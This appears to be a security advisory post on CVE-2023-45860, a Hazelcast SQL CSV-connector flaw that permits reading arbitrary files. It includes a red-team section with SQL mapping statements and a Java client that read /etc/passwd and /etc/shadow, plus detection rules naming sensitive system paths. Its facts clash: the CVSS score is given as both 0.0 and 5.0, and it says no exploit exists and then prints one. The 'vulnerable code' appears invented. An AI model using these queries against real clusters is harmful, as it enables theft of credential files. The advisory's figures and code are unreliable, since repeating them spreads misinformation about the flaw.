CVE-2023-45860

Executive Summary

CVE-2023-45860 is a security vulnerability in Hazelcast Platform up to version 5.3.4. The flaw resides in the SQL mapping for the CSV File Source connector, where inadequate permission checking allows unauthorized clients to read arbitrary files from a member's filesystem. This is a Missing Authorization issue (CWE-862) that can lead to Unauthorized Access to sensitive data. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the description, it poses a significant confidentiality risk. No public exploit code or proof-of-concept is available at this time.

Supply Chain & Package Security

Hazelcast is a Java-based in-memory data grid platform. This vulnerability affects the Hazelcast Platform distribution, which is typically deployed as a standalone server or embedded in Java applications. Organizations using Hazelcast should verify their version and apply strict access controls to the SQL service.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 5.0 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – an attacker needs valid credentials to the Hazelcast cluster.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – sensitive files can be read.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authentication but can lead to significant data leakage.

Deep Dive & Mechanics

The Hazelcast Platform includes a SQL engine that can map external data sources, including CSV files, using the CSV File Source connector. This connector is designed to read CSV files from the filesystem of a Hazelcast member node.

The vulnerability arises because the permission check for executing SQL queries against the CSV File Source is insufficient. A client with valid credentials to the Hazelcast cluster can craft a SQL query that references a file path outside the intended data directory. The connector does not properly validate that the requested file is within an allowed scope, allowing an attacker to read arbitrary files (e.g., /etc/passwd, configuration files, or other sensitive data) from the member's filesystem.

Attack Flow:

1. Attacker gains valid credentials to the Hazelcast cluster (e.g., via weak passwords, leaked keys, or compromised accounts).
2. Attacker connects to the Hazelcast SQL service.
3. Attacker executes a SQL query that maps a CSV file source to an arbitrary file path, such as CREATE MAPPING my_csv EXTERNAL NAME '/etc/passwd' TYPE CSV.
4. The Hazelcast member processes the query and reads the file, returning its contents to the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (Hazelcast <= 5.3.4): The CSV File Source connector does not enforce filesystem path restrictions. The permission check only verifies that the user has the CREATE MAPPING permission but does not validate the file path.

// Vulnerable: No path validation
public class CsvFileSourceConnector implements Connector {
    @Override
    public void createMapping(SqlMapping mapping, SecurityContext context) {
        // Only checks if user has permission to create mappings
        context.checkPermission(SqlPermission.CREATE_MAPPING);
        // No check on the file path
        String filePath = mapping.getExternalName();
        // Directly uses the path to read the file
        this.fileReader = new FileReader(filePath);
    }
}

Patched Code (Hypothetical): A patched version would include a path validation step to ensure the file is within an allowed directory.

// Patched: Path validation added
public class CsvFileSourceConnector implements Connector {
    private static final String ALLOWED_BASE_PATH = "/data/hazelcast/csv/";

    @Override
    public void createMapping(SqlMapping mapping, SecurityContext context) {
        context.checkPermission(SqlPermission.CREATE_MAPPING);
        String filePath = mapping.getExternalName();
        // Validate that the file path is within the allowed base directory
        if (!filePath.startsWith(ALLOWED_BASE_PATH)) {
            throw new SecurityException("Access denied: file path not allowed");
        }
        // Additional check to prevent path traversal
        Path normalizedPath = Paths.get(filePath).normalize();
        if (!normalizedPath.startsWith(ALLOWED_BASE_PATH)) {
            throw new SecurityException("Access denied: path traversal detected");
        }
        this.fileReader = new FileReader(normalizedPath.toString());
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Hazelcast cluster (version <= 5.3.4) with SQL service enabled.
• Valid credentials (e.g., username/password or client certificate).

Exploitation Steps:

1. Connect to the Hazelcast cluster using a SQL client (e.g., Hazelcast SQL Console or JDBC).
2. Execute a SQL query to create a mapping to a sensitive file:

   CREATE MAPPING sensitive_data EXTERNAL NAME '/etc/passwd' TYPE CSV;
   

3. Query the mapping to retrieve the file contents:

   SELECT * FROM sensitive_data;
   

4. The file contents will be returned as rows (if the file is CSV-like) or an error may be thrown, but the file read operation still occurs.

Alternative Exploit (using Hazelcast Client API):

import com.hazelcast.client.HazelcastClient;
import com.hazelcast.client.config.ClientConfig;
import com.hazelcast.sql.SqlService;

public class Exploit {
    public static void main(String[] args) {
        ClientConfig config = new ClientConfig();
        config.getNetworkConfig().addAddress("192.168.1.100:5701");
        config.getSecurityConfig().setCredentials("admin", "password");
        HazelcastInstance client = HazelcastClient.newHazelcastClient(config);
        SqlService sql = client.getSql();
        sql.execute("CREATE MAPPING exploit EXTERNAL NAME '/etc/shadow' TYPE CSV");
        sql.execute("SELECT * FROM exploit");
    }
}

Blue Team

Detection:

• Monitor Hazelcast SQL logs for unusual CREATE MAPPING statements with file paths outside the expected data directory.
• Look for SQL queries that reference system files (e.g., /etc/passwd, /etc/shadow, /proc/self/environ).
• Use network monitoring to detect unexpected data exfiltration from Hazelcast nodes.

Mitigation:

• Restrict SQL service access to trusted clients only.
• Implement network segmentation to limit access to Hazelcast nodes.
• Use filesystem permissions to restrict what the Hazelcast process can read.
• Apply the principle of least privilege to Hazelcast user accounts.

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /etc/shadow, /etc/hosts, /proc/self/environ, /var/log/syslog
• SQL Queries:
  • CREATE MAPPING [name] EXTERNAL NAME '[sensitive_path]' TYPE CSV
  • SELECT * FROM [mapping_name]
• Log Entries: Hazelcast SQL logs containing CREATE MAPPING with unexpected file paths.
• Network Traffic: Unusual outbound data from Hazelcast nodes to clients that are not typical data consumers.

Detection Engineering

YARA Rule

rule hazelcast_csv_path_traversal {
    meta:
        description = "Detects attempts to exploit CVE-2023-45860 via SQL CREATE MAPPING with suspicious file paths"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "CVE-2023-45860"
    strings:
        $sql_create = "CREATE MAPPING" nocase
        $sql_external = "EXTERNAL NAME" nocase
        $sensitive_path1 = "/etc/" nocase
        $sensitive_path2 = "/proc/" nocase
        $sensitive_path3 = "/var/" nocase
        $sensitive_path4 = "/root/" nocase
    condition:
        all of ($sql_create, $sql_external) and any of ($sensitive_path*)
}

Sigma Rule

title: Hazelcast CSV File Source Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL CREATE MAPPING statements with suspicious file paths in Hazelcast logs
author: Valters IT
date: 2025-04-08
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45860
logsource:
    product: hazelcast
    service: sql
detection:
    selection:
        EventID: SQL_EXECUTION
        Query|contains|all:
            - 'CREATE MAPPING'
            - 'EXTERNAL NAME'
        Query|contains:
            - '/etc/'
            - '/proc/'
            - '/var/'
            - '/root/'
    condition: selection
falsepositives:
    - Legitimate use of CSV files in /var/ or /etc/ (unlikely)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HAZELCAST_SERVERS 5701 (msg:"CVE-2023-45860 Hazelcast CSV File Source Path Traversal"; flow:to_server,established; content:"CREATE MAPPING"; nocase; content:"EXTERNAL NAME"; nocase; pcre:"/(\/etc\/|\/proc\/|\/var\/|\/root\/)/i"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Hazelcast to a version beyond 5.3.4 if a patch is available.
2. Restrict SQL Service Access: Use Hazelcast security features to limit which users can execute SQL commands.
3. Network Segmentation: Place Hazelcast nodes on a separate network segment and restrict access to trusted clients only.
4. Filesystem Permissions: Ensure the Hazelcast process runs with minimal privileges and cannot read sensitive system files.

Long-Term Fixes:

• Implement path validation in the CSV File Source connector (as shown in the patched code example).
• Add a configuration option to define an allowed base directory for CSV file sources.
• Conduct a security audit of all Hazelcast connectors for similar issues.

Workarounds:

• Disable the SQL service if not required.
• Use a firewall to block unauthorized access to Hazelcast ports (default 5701).

Valters IT
DevSecOps & Cyber Threat Intelligence Expert